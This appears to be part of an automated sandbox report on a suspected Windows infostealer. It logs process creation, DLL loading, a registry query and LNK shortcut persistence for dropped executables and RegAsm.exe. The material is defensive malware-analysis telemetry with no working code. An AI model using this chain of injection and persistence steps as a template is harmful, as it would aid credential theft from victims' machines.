Source: C:\ProgramData\KKEBKJJDGH.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: wldp.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: sxs.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: mpr.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: propsys.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: profapi.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: edputil.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: netutils.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: slc.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: userenv.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: sppc.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: cryptbase.dll
Source: C:\ProgramData\EBGDHJECFC.exe Section loaded: mscoree.dll
Source: C:\ProgramData\EBGDHJECFC.exe Section loaded: apphelp.dll
Source: C:\ProgramData\EBGDHJECFC.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\EBGDHJECFC.exe Section loaded: version.dll
Source: C:\ProgramData\EBGDHJECFC.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\EBGDHJECFC.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\EBGDHJECFC.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8cd1ac26284943e6a48e3a21405f728e.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ffb693950192432088179fe25fd0f531.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a8d336e23ec14c28892bc3ac641ee9ce.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_70a416cd5b2c43ee8efc31478be68b37.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3dfb4f7048a742fb8385594f1219fce6.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_92f7e448be834d759e73cb46c668011a.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_542d6fb4b7e24e44a4f274ae18e70266.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_2b281f94a6da4509957d4eef4e6bfda6.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ab2cdac6611847ea8a143f601e78aaff.lnk.8.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
